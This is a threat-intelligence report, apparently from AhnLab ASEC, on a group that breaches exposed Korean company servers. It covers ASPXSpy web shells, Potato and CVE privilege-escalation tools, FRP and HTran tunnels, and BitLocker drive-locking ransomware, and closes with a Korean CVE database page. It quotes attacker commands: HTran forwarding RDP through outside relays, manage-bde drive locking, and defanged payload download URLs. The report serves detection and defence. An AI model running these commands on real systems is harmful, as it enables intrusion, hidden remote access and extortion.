シェル等を利用してシステムの一部にアクセスし、権限昇格(Privilege Escalation)をサポートする Potato ツールや Exploit ツールを悪用してシステム権限を取得する。その次に、対象システムをより容易に操作するため、LCX や FRP ツールをインストールして外部から RDP で接続ができるように設定し、内部伝播および最終段階(情報流出およびランサムウェア)を実行した。 そのため、サーバー管理者はサーバー構成環境が脆弱である場合は最新バージョンのパッチを適用し、既知の脆弱性による被害を事前に防止しなければならない。また、外部に開放されているサーバーの場合、セキュリティ製品を利用して、部外者からのアクセスを制限する必要がある。 [ ファイル検知 ] – WebShell/Script.Generic (2020.12.11.09) – WebShell/ASP.ASpy.S1361 (2021.02.02.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) – WebShell/ASP.Small.S1378 (2021.02.24.02) – JS/Webshell (2011.08.08.03) – HackTool/Win.SweetPotato.R506105 (2022.08.04.01) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) – HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) – Exploit/Win.JuicyPotato.C425839(2022.08.04.01) – Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) – Exploit/Win32.Consoler.R372759 (2021.03.18.00) – Exploit/Win.HiveNightmare.R433315 (2021.07.23.02) – Malware/Win64.Generic.C3164061 (2019.04.20.01) – Malware/Win64.Generic.C3628819 (2019.12.11.01) – Exploit/Win.Agent.C4448815 (2021.05.03.03) – Exploit/Win.CVE-2022-21999.C4963688 (2022.02.11.03) – Trojan/Win.Generic.C4963786 (2022.02.11.04) – Trojan/Win.Exploit.C4997833 (2022.03.08.01) – Ransomware/Win.CVE.C5065885(2022.04.11.01) – Exploit/Win.Agent.C5224192 (2022.08.17.00) – Exploit/Win.Agent.C5224193 (2022.08.17.00) – Unwanted/Win.Frpc.C5222534 (2022.08.13.01) – Unwanted/Win.Frpc.C5218508 (2022.08.03.03) – Unwanted/Win.Frpc.C5218510 (2022.08.03.03) – Unwanted/Win.Frpc.C5218513 (2022.08.03.03) – HackTool/Win.Frpc.5222544 (2022.08.13.01) – HackTool/Win.Frp.C4959080 (2022.02.08.02) – HackTool/Win.Frp.C5224195 (2022.08.17.00) – Unwanted/Win.Frpc.C5162558 (2022.07.26.03) – Malware/Win.Generic.C5173495 (2022.06.18.00) – HackTool/Win.LCX.C5192157 (2022.07.04.02) [IOC] MD5 ASP WebShell – e31b7d841b1865e11eab056e70416f1a – 612585fa3ada349a02bc97d4c60de784 – 3921d444a251661662f991b147e22bc3 – c802dd3d8732d9834c5a558e9d39ed37 – 6b4c7ea91d5696369dd0a848586f0b28 – 07191f554ed5d9025bc85ee1bf51f975 Potato – 0311ee1452a19b97e626d24751375652 (JuicyPotato) – 808502752ca0492aca995e9b620d507b (JuicyPotato) – 4bafbdca775375283a90f47952e182d9 (JuicyPotato) – 9fe61c9538f2df492dff1aab0f90579f (BadPotato) – ab9091f25a5ad44bef898588764f1990 (BadPotato) – 87e5c9f3127f29465ae04b9160756c62 (BadPotato) – fd0f73dd80d15626602c08b90529d9fd (SweetPotato) – 937435bbcbc3670430bb762c56c7b329 (SweetPotato) Exploit – 4c56462a3735dba9ee5f132f670e3fb1 – 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 – 6a60f718e1ecadd0e26893daa31c7120 – e81a9b194cf1bcd4f1bbf21338840ece – d406d8889dc1f2d51954808f5587415d – ed1762b09d0a966d7a2d6c9167ea5499 – 055cc4c30260884c910b383bb81cf7c8 – b08b660ed646c390d5a254070123c74c – 018dd881f5bf9181b70f78d7d38bd62a – 31eb70dc11af05ec4d5cda652396970c – b77e3a7e13e39829383fabf436e9c8f2 Frpc – 27303a52d7ebd666d2a84529f2c86b3c – 4eb5eb52061cc8cf06e28e7eb20cd055 – 622f060fce624bdca9a427c3edec1663 – 72decb30e84cfe0d726f26c4f45dc1b0 – 7d9c233b8c9e3f0ea290d2b84593c842 – d862186f24e644b02aa97d98695c73d8 – df8f2dc27cbbd10d944210b19f97dafd – 8de8dfcb99621b21bf66a3ef2fcd8138 HTran – 47f091b0bfa0f3d6e6943d7f178a4dff – 1b562817eadfb12f527bf25bf5c803b1 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies 2022-08-16
Recently, there have been frequent incidents where attackers infiltrated and took control of the internal network of Korean companies, starting with vulnerable servers externally exposed. Cases of Attacks Targeting Vulnerable Atlassian Confluence Servers Meterpreter Distributed to Vulnerable Server of Korean Medical Institution AsyncRAT Being Distributed to Vulnerable MySQL Servers This is a case of infiltration into an IIS web server or an MS Exchange server and is the same as previously known types. However, this post will discuss cases that are presumed to be done by a certain hacker group , not by individual attackers. The most significant characteristic of this group is that they use FRP open-source tools . This group finds a server accessible from outside and attacks it, and when infiltration is successful, privilege escalation is attempted. Afterward, for more complete access control, FRP (Fast Reverse Proxy) or LCX (commonly referred to as HTran) tool is installed, and the use of FRP tools is particularly more common. And when FRPs are installed, they use a certain download address, and download servers where FRPs are uploaded are deemed to be web servers of Korean companies which hackers have already taken over . Other characteristics include using particular file names when installing FRPs or overtaking another Korean company’s server to abuse as a relay server needed for using FRPs. Around 20 businesses appear to have been infiltrated, including semiconductor, injection machine, resort, construction, and software companies. It seems that hackers have performed attacks without specific targets . Since this includes cases where the attack started on a disclosed and vulnerable server and then escalated to the final stage of ransomware infection, particular discretion is advised. 1. ASP Webshell Most attacks that target vulnerable web servers use Webshell. Webshell is a file that is uploaded onto web servers and can execute file searches or system shell commands, and when this is installed on a target system for attacks, hackers can maintain continuity while controlling the infection system. The language supported differs by web server and that also means that the language of the Webshell differs. For example, an Apache web server that supports PHP uses a PHP web shell, Java environment such as Tomcat uses a JSP, and an IIS web server uses a web shell developed by ASP and ASPX. Because this case includes attacks against vulnerable IIS web servers, the ASPX (ASP) web shell was used. ASPXSpy is the major ASPX Webshell and it has been verified that the hacker has used this web shell for multiple attacks. i. ASPXSpy ASPXSpy requires a password. After accessing the installed path, the correct password must be entered into the password field to enable the control panel as follows. (Note that the password is verified by comparing the MD5 hash values, and the above Webshell is where the hacker has changed the password and not the “admin”.) Hackers can perform various malicious acts in this panel including looking up information, creating files, and executing processes. 2. Privilege Escalation The uploaded web shell is executed by an IIS web server process or the w3wp.exe process. Generally, the w3wp.exe process has low-level privileges, and to perform normal levels of abuse, a higher level of privileges is necessary. Accordingly, hackers require a process of privilege escalation where various tools are used to obtain higher-level privileges. Hackers have usually used malware such as JuicyPotato and SweetPotato, and there has been a history of usage of other various LPE (Local Privilege Escalation) vulnerability PoCs. Here are the cases used in the privilege escalation process as follows. 2.1. Potato Potato is an open-source privilege escalation tool published on GitHub. It operates by abusing specific privileges from the tokens of the process account currently being run and provides the feature of escalating said privileges into system privileges. The w3wp.exe process is in charge of the web service in an IIS web server and in an MS-SQL server, the sqlservr.exe process is in charge of the MS-SQL service. For example, the w3wp.exe process runs with the IIS Apppool\DefaultAppPool as the parent, and in this case, unlike ordinary admin or normal user accounts, have limits performing a variety of actions including those involving processes and files. Even if hackers can control the processes through Web shells or prior attacks, they cannot perform the desired abuse, because they do not have the appropriate privilege. To perform the attack, privilege escalation is needed. Generally, the w3wp.ee process or the sqlservr.exe process has the SeAssignPrimaryToken or the SeImpersonate privilege. Most Potato tools abuse processes that have such SeAssignPrimaryToken or SeImpersonate privileges enabled and escalate them into one with system privileges, or the NTAUTHORITY\SYSTEM account. If this suceeds, the hacker can perform most malicious acts within the target system without restraint. There are many tools for privileged escalation of Potatoes, including JuicyPotato, RoguePotato, and RottenPotato among others. However, most cases identified in Korea were found to have been using three types of Potato tools. Types of Potato MD5 JuicyPotato 0311ee1452a19b97e626d24751375652 808502752ca0492aca995e9b620d507b 4bafbdca775375283a90f47952e182d9 BadPotato 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 SweetPotato fd0f73dd80d15626602c08b90529d9fd 937435bbcbc3670430bb762c56c7b329 [Table 1] Potato tools used in attacks 2.2. Vulnerabilities (Exploits) Aside from Potato form malware, infiltrators use various LPE (Local Privilege Escalation) PoC published on GitHub. The following are vulnerabilities exploited in attacks and the list of PoCs which exploit each vulnerability. Vulnerability Type MD5 Remarks CVE-2018-8440 LPE 4c56462a3735dba9ee5f132f670e3fb1 https://github.com/alpha1ab/Win2016LPE CVE-2019-1405 + CVE-2019-1322 LPE 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 6a60f718e1ecadd0e26893daa31c7120 https://github.com/apt69/COMahawk CVE-2021-1675 LPE e81a9b194cf1bcd4f1bbf21338840ece https://github.com/evilashz/CVE-2021-1675-LPE-EXP CVE-2021-1732 LPE d406d8889dc1f2d51954808f5587415d ed1762b09d0a966d7a2d6c9167ea5499 https://github.com/KaLendsi/CVE-2021-1732-Exploit CVE-2021-36934 LPE 055cc4c30260884c910b383bb81cf7c8 https://github.com/GossiTheDog/HiveNightmare CVE-2021-40449 LPE b08b660ed646c390d5a254070123c74c https://github.com/ly4k/CallbackHell CVE-2022-21882 LPE 018dd881f5bf9181b70f78d7d38bd62a https://github.com/sailay1996/cve-2022-21882-poc CVE-2022-21999 LPE 31eb70dc11af05ec4d5cda652396970c b77e3a7e13e39829383fabf436e9c8f2 (Payload) https://github.com/ly4k/SpoolFool [Table 2] Vulnerability PoC malware used in attacks The following is a PoC that abuses CVE-2021-1732 vulnerabilities to escalate privileges. After privilege escalation, it executes whoami which has been transmitted as a factor and as a result, it is identifiable whether privilege escalation to a system account has been successful. The following is a CVE-2022-21999 PoC that can load the designated DLL and run malware after privilege escalation. The DLL used in the attack is the same as the POC, and the DLL fulfills the role of creating an admin account and changing the password to Passw0rd!. In the future, attackers can use the account create for remote access and overtake the infected system. 3. Proxy & Port Forwarding 3.1. FRP FRP(Fast Reverse Proxy) is an open source tool formed with a mediating dummy to enable external access to an intranet PC that cannot be accessed directly. Because many companies separate networks or use firewalls to prevent unauthorized access to their networks, users should use tools such as FRP to directly access the PCs on internal network. On the other hand, hackers frequently use FRP to bypass the target PC (victim)’s firewall inbound rules and not leave the their address on the target PC. FRP is largely classified into 2 types, Frps and Frpc. Frps is a file installed in the intermediary server and fulfills the role of establishing the link between the hacker and target, and references ‘Frps.ini’ in its settings, and can be arbitrarily set by the user. This determines the connection port and logging methods. Thus Frps must be installed on an intermediary server which both the hacker and the target PC have access to. The process of FRP connections is as below. Frpc is a file installed on the attack target PC of the hacker. As similar to the Frps settings, Frpc allows arbitrary settings by the user through ‘Frpc.ini’ of the network communication method to be used by the hacker such as TCP, UDP or HTTP and the port number (remote_port) to be used in Frps and the actual port number (local_port). When used to abuse systems, it is normally installed on a corporate PC with a NAT environment that is not easily accessible externally. Looking at the above figure, Frps.exe is first installed on the relay device. Frps.exe references the Frps.ini settings file and opens the connection port (7000) to enable Frpc.exe to establish a connection. After the connection has been established, it runs Frpc.exe installed on the target PC and attempts to establish a connection with the relay device (Frps.exe) and here, the Reverse Proxy method is used to connect the hacker and the target PC indirectly. When the relay and target PCs are connected, the hacker attempts to connect with a certain protocol (RDP) to a specific port of the relay server (23389). After monitoring this particular port (no. 23389), the relay server transmits the corresponding data to the target PC through the connection port (no. 7000) after a connection has been detected. After receiving the data, the target PC forwards the data to a local port (no. 3389) that fits the protocol (RDP) and completes the operation. Thus, connection is possible as below. FRP tools were commonly used by hackers in ‘remote desktop connections’ and ‘masking attacker IP’. Remote desktop connection is a tool offered by baseline Windows, and refers to a method of connection using RDP communication to connect to a remote server and use it as if to use a local system. After the connection is established, the attacker IP is recorded as a log on the target PC and network device. However, FRP allows attackers to connect to the relay device and control the target PC. This allows masking the attacker IP in the PC. Attackers generally set the relay device location on the Korean corporate servers or international hosting servers. In case of the Korean corporate server that have been once infilterated, it is difficult to detect the attackers when they access the particular corporate PC due to the Korean relay device IP. Thus, hackers install Frpc on corporate PCs that cannot be directly accessed, and install Frps on a relay server located in Korea or overseas to establish a connection with the target PC and attempt RDP communication. The hacker group using FRP has the following characteristics. 1) Uses the same Frpc file name and path 2) Uses the Korean company’s Frpc download URL 3) Uses the Korean company server as the relay (Frps) server First, here are the Frpc installation paths identified in targeted Korean company systems. %ALLUSERSPROFILE%\update.exe %ALLUSERSPROFILE%\info.zip %ALLUSERSPROFILE%\f.zip %ALLUSERSPROFILE%\t.zip %ALLUSERSPROFILE%\frpc.exe %SystemDrive%\perflogs\update.exe %SystemDrive%\temp\update.exe %SystemDrive%\temp\info.zip %SystemRoot%\temp\frpc.exe [Table 3] The download path of the Frpc.exe often used by the attacker The parts highlighed in red above [Table 3] are file names found identically across multiple companies, and certain groups of attackers have usually installed Frpc files under the names update.exe (update.zip) or info.exe (info.zip). Also, in the case of Frpc download URLs, these have been found to have been abusing infiltrated servers of Korean companies. – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/info.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/f.zip [Table 4] Frpc download URL used by the attacker Besides these, the hackers have set even PCs that can be externally accessed through FRP, add seeing that the relay server program used in FRP (Frps) had been installed in particular Korean company systems, it is deemed that they are maintaining the connection by using Korean IP to avoid suspicion and also to mask their own IP. Thus it seems that the servers of Korean companies where Frps has been installed, are also overtaken by the hackers. Currently, two Korean companies are identified as of 2022 for having servers that have been used as relay servers. As can be seen in the figure below, the server identified as Remote IP is the relay server and has Frps installed on it, and the local IP on the left is the server with Frps that the hackers intend to control, and installed. The relay server can be connected as follows. 3.2. HTran(LCX) Port forwarding is a feature where data transmitted from a certain port is forwarded to another port. Tools that support such port forwarding include HTran which is a major tool that has been in use from the past, and because the source code for this is public, HTran is still being used by various hackers. Here are the brief information of HTran tool and the actual attacks performed by hackers. First, the following 3 modes are supported on HTran. Out of these, the “-tran” mode offers the feature of forwarding the transmitted data to a particular address. The following command line is the actually used command after the hackers generated HTran under the name rdpclip. For your reference, rdpclip has the options out of its factors removed by the hackers modifying the source code, and instead runs identification on the types of features using the count of factors. > %SystemRoot%\debug\rdpclip 110 127.0.0.1 3389 When it is run after receiving these factors, it binds to port 110 before forwarding them to the local port 3389 when the external hacker establishes a connection to port 110. Subsequently, when the hacker establishes a RDP connection to the infected system, instead of connecting to port 3389, they can connect to port 110 and use the remote desktop feature normally. The following is a test using rdpclip which was used in the attacks, and a command which forwards the local port 4444 and 80 was executed. In this case, even if one connects externally to the address “192.168.204.131:4444”, they will achieve the same results as connecting to the port “192.168.204.131:80”. Next, we have the “-listen” mode, where it receives 2 port numbers as factors and binds to each port while idling. If connections are established using both factors, the data received from one port is forwarded to the other port. Ordinarily, the “=listen” mode will be used alongside the “-slave” mode. The “-slave” mode is similar to the “-tran” mode, and if the “-tran” mode awaits connections after opening a particular port of the local system, the “-slave” mode connects directly to the designated address. The following is the same malware as above, with only the name changed to “p” and while the mode type is not transmitted as a factor, because the factor count is 4, is executed in “-slave” mode. When it is run after receiving these factors, it attempts a connection to the address A( 1**.**.***.*8 ):1000 , and when a connection is established, forwards to the local system’s port 3389. > p 1**.**.***.*8 1000 127.0.0.1 3389 In the system A:1000 , HTran would be running as follows in “-listen” mode (for example, the first factor is set to 80). Accordingly, the hacker accesses the A:80 address and is able to initiate RDP access on the target system. HTran, which was being run on A , forwards the data received from port 80 to port 1000 and this is because port 1000 is linked to the HTran which is in operation on the final target system. Finally, the HTran of the target system forwards the transmitted data to the local system’s 3389 port. > HTran.exe 1000 80 The following is another example. c.txt is the HTran and is a type without any particular modifications, and factors such as “-slave” are also used as-is. The HTran executed through the following command runs as a proxy between the addresses B( 1**.***.**.*3 ):443 and C (2**.***.**.6 ):1433 . Thus, by accessing a particular path of B , the attacker is able to access the MS-SQL server of system C:1433 or C . > %SystemDrive%\webdriver\chrome\c.txt -slave 1**.***.**.*3 443 2**.***.**.6 1433 4. Cases of Ransomware infection (BitLocker) Out of the cases identified so far, there are few ransomware infections by the hacker group mentioned above. The hacker group does not make new ransomware, but instead abuses Windows’ basic encryption program, BitLocker, to encrypt disks. BitLocker is a disk encryption tool provided and used by Windows, and is originally a tool used for disk security. This supports the command line method, and at its core, uses the command Manage-bde to enable the use of the BitLocker feature and when a drive is locked, a password is required to access it. The hackers encrypted using the following command. The password could be set in the GUI screen when entering the command below. (F: drive is an example) CMD> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T F: Encrypting the drive volume and entering the password to be used After setting a password for the drive, it disables access to the drive with a lock command as follows. CMD> manage-bde -lock -ForceDismount F: F: Locking the drive volume (access restricted) Thus, when the drive is locked, the user must know the password in order to access it. The Ransom Note used by hackers is as follows. In summary of the infiltration process of this case, the hackers scan and attempt attacks on vulnerable corporate PCs such as IIS web servers or MS Exchange servers that are externally accessible. Afterward, they use Webshell to access a part of the system and abuse Potato or Exploit tools that support privilege escalation, thereby obtaining system privileges. Then, in order to be able to control the system easier, they install LCX or FRP tools and sets it to be accessed externally via RDP before performing internal proliferation and the final stage (information extraction and ransomware installation). Accordingly. server managers must patch the server so that it is up to date and practice prevention of known vulnerabilities being exploited. Moreover, for externally open servers, security software must be used to restrict external access. [File Detection] – WebShell/Script.Generic (2020.12.11.09) – WebShell/ASP.ASpy.S1361 (2021.02.02.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) – WebShell/ASP.Small.S1378 (2021.02.24.02) – JS/Webshell (2011.08.08.03) – HackTool/Win.SweetPotato.R506105 (2022.08.04.01) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) – HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) – Exploit/Win.JuicyPotato.C425839(2022.08.04.01) – Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) – Exploit/Win32.Consoler.R372759 (2021.03.18.00) – Exploit/Win.HiveNightmare.R433315 (2021.07.23.02) – Malware/Win64.Generic.C3164061 (2019.04.20.01) – Malware/Win64.Generic.C3628819 (2019.12.11.01) – Exploit/Win.Agent.C4448815 (2021.05.03.03) – Exploit/Win.CVE-2022-21999.C4963688 (2022.02.11.03) – Trojan/Win.Generic.C4963786 (2022.02.11.04) – Trojan/Win.Exploit.C4997833 (2022.03.08.01) – Ransomware/Win.CVE.C5065885(2022.04.11.01) – Exploit/Win.Agent.C5224192 (2022.08.17.00) – Exploit/Win.Agent.C5224193 (2022.08.17.00) – Unwanted/Win.Frpc.C5222534 (2022.08.13.01) – Unwanted/Win.Frpc.C5218508 (2022.08.03.03) – Unwanted/Win.Frpc.C5218510 (2022.08.03.03) – Unwanted/Win.Frpc.C5218513 (2022.08.03.03) – HackTool/Win.Frpc.5222544 (2022.08.13.01) – HackTool/Win.Frp.C4959080 (2022.02.08.02) – HackTool/Win.Frp.C5224195 (2022.08.17.00) – Unwanted/Win.Frpc.C5162558 (2022.07.26.03) – Malware/Win.Generic.C5173495 (2022.06.18.00) – HackTool/Win.LCX.C5192157 (2022.07.04.02) TAGGED AS:ASPXSPY, FRP , MALWARE, IIS, LCX, MS EXCHANGE, POTATO, PRIVILEGE ESCALATION MD5 018dd881f5bf9181b70f78d7d38bd62a 0311ee1452a19b97e626d24751375652 055cc4c30260884c910b383bb81cf7c8 07191f554ed5d9025bc85ee1bf51f975 1b562817eadfb12f527bf25bf5c803b1 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
자동 추천 장비와 근거 참고용
분류 체계(취약점 종류 CWE → 공격 유형 CAPEC → 공격 기법 ATT&CK) 매핑으로 계산한 후보입니다. 범위가 넓어 관련이 적은 장비가 섞입니다. 해당 장비가 이 공격을 탐지한다고 확인한 것은 아니며, 위의 '살펴볼 장비' 와 단계별 판정에는 쓰지 않습니다.
| 장비 | 방법 | 근거 경로 |
|---|---|---|
| 서버 접근제어 ACCESS | attack | CWE-269 > CAPEC-122 > T1548 > Logon Session Metadata |
| 엔드포인트 탐지·대응 EDR | attack | CWE-269 > CAPEC-122 > T1548 > File Metadata |
| 계정·인증 (AD·LDAP·SSO) IAM | attack | CWE-269 > CAPEC-122 > T1548 > Logon Session Metadata |
| 서버 감사 로그 SYSAUDIT | attack | CWE-269 > CAPEC-122 > T1548 > File Metadata |
취약점 종류 CWE
- 권한 상승 — CWE-269 Improper Privilege Management
영향받는 제품 CPE · 29건
| 제조사 | 제품 | 영향받는 버전 | 표준 표기CPE |
|---|---|---|---|
| microsoft | windows_10_1507 | cpe:2.3:o:microsoft:windows_10_1507:-:*:*:*:*:*:x64:* | |
| microsoft | windows_10_1507 | cpe:2.3:o:microsoft:windows_10_1507:-:*:*:*:*:*:x86:* | |
| microsoft | windows_10_1607 | cpe:2.3:o:microsoft:windows_10_1607:-:*:*:*:*:*:x64:* | |
| microsoft | windows_10_1607 | cpe:2.3:o:microsoft:windows_10_1607:-:*:*:*:*:*:x86:* | |
| microsoft | windows_10_1709 | cpe:2.3:o:microsoft:windows_10_1709:-:*:*:*:*:*:arm64:* | |
| microsoft | windows_10_1709 | cpe:2.3:o:microsoft:windows_10_1709:-:*:*:*:*:*:x64:* | |
| microsoft | windows_10_1709 | cpe:2.3:o:microsoft:windows_10_1709:-:*:*:*:*:*:x86:* | |
| microsoft | windows_10_1803 | cpe:2.3:o:microsoft:windows_10_1803:-:*:*:*:*:*:arm64:* | |
| microsoft | windows_10_1803 | cpe:2.3:o:microsoft:windows_10_1803:-:*:*:*:*:*:x64:* | |
| microsoft | windows_10_1803 | cpe:2.3:o:microsoft:windows_10_1803:-:*:*:*:*:*:x86:* | |
| microsoft | windows_10_1809 | cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:arm64:* | |
| microsoft | windows_10_1809 | cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x64:* | |
| microsoft | windows_10_1809 | cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x86:* | |
| microsoft | windows_10_1903 | cpe:2.3:o:microsoft:windows_10_1903:-:*:*:*:*:*:arm64:* | |
| microsoft | windows_10_1903 | cpe:2.3:o:microsoft:windows_10_1903:-:*:*:*:*:*:x64:* | |
| microsoft | windows_10_1903 | cpe:2.3:o:microsoft:windows_10_1903:-:*:*:*:*:*:x86:* | |
| microsoft | windows_7 | cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:* | |
| microsoft | windows_7 | cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:* | |
| microsoft | windows_8.1 | cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x86:* | |
| microsoft | windows_rt_8.1 | cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:* | |
| microsoft | windows_server_1803 | cpe:2.3:o:microsoft:windows_server_1803:-:*:*:*:*:*:x64:* | |
| microsoft | windows_server_1903 | cpe:2.3:o:microsoft:windows_server_1903:-:*:*:*:*:*:x64:* | |
| microsoft | windows_server_2008 | cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:* | |
| microsoft | windows_server_2008 | cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:itanium:* | |
| microsoft | windows_server_2008 | cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:* | |
| microsoft | windows_server_2012 | cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:* | |
| microsoft | windows_server_2012 | cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:* | |
| microsoft | windows_server_2016 | cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:* | |
| microsoft | windows_server_2019 | cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:* |
참고 링크 5건
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/155723/Microsoft-UPnP-Local-Privilege-Elevation.html
- 패치 · 제조사 권고 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1405
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/155723/Microsoft-UPnP-Local-Privilege-Elevation.html
- 패치 · 제조사 권고 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1405
- 미국 정부 자료 https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-1405
용어 설명 CVE · CVSS · EPSS · KEV · NVD …
- CVE 취약점 번호
- 공개된 보안 취약점마다 붙는 국제 고유 번호입니다. 예: CVE-2021-44228(Log4j). 가운데 숫자는 번호를 받은 해입니다.
- CVSS 위험도 점수
- 취약점이 얼마나 위험한지 0~10점으로 매긴 국제 표준 점수입니다. 심각 9.0 이상 · 높음 7.0~8.9 · 중간 4.0~6.9 · 낮음 0.1~3.9. 공격이 얼마나 쉬운지와 피해 크기로 정하며, 실제로 공격받고 있는지는 반영하지 않습니다.
- EPSS 악용 가능성
- 앞으로 30일 안에 실제 공격에 쓰일 확률을 추정한 값(0~100%)입니다. 국제 보안 단체 FIRST 가 매일 계산합니다. 높을수록 먼저 조치하세요.
- KEV 실제 악용 확인
- 미국 사이버보안청(CISA)이 실제 공격에 쓰인 것을 확인한 취약점만 모은 목록입니다. 여기에 있으면 가장 먼저 조치할 대상입니다. '랜섬웨어' 표시는 랜섬웨어 공격에 쓰인 것으로 알려진 것입니다.
- 공격 코드 공개된 PoC
- NVD 참고 링크 중 '공격 코드(Exploit)' 표시가 붙은 것이 있다는 뜻입니다. 누구나 공격을 시도해 볼 수 있으므로 서두르는 게 좋지만, 실제 악용이 확인된 것(KEV)과는 다릅니다.
- NVD 미국 취약점 DB
- 미국 국립표준기술연구소(NIST)가 운영하는 취약점 데이터베이스입니다. CVE 마다 설명·CVSS 점수·영향받는 제품·취약점 종류를 붙입니다. 이 사이트 설명의 원문 출처입니다.
- 우선순위 이 사이트의 참고 점수
- CVSS·KEV·랜섬웨어·EPSS·ASEC 언급·공격 코드 공개를 합쳐 계산한 점수입니다. 높을수록 먼저 살펴보세요. 공식 점수가 아닙니다.
- ASEC 안랩 분석 글
- 안랩 보안대응센터 블로그입니다. 'ASEC 3' 은 분석 글에 그 CVE 번호가 3번 나왔다는 뜻이며, 국내에서 악용이 확인됐다는 뜻은 아닙니다.
- CWE 취약점 종류
- 취약점 종류의 분류 번호입니다. 예: CWE-89 SQL 인젝션, CWE-79 크로스 사이트 스크립팅.
- CPE 영향받는 제품
- 취약점이 있는 제품과 버전을 적는 표준 표기입니다. 예: apache:tomcat 9.0.0~9.0.80.
- KB Microsoft 업데이트 번호
- Microsoft 가 업데이트마다 붙이는 번호입니다. 예: KB5068791. '수정된 버전' 은 업데이트 후의 빌드 번호로, 이보다 낮으면 업데이트가 필요합니다.
- 시나리오 · 번역
- '시나리오' 는 단계별 판정 초안이 있다는 표시입니다(없다고 안전한 것은 아닙니다). '(번역)' 은 Claude 로 기계 번역한 설명입니다.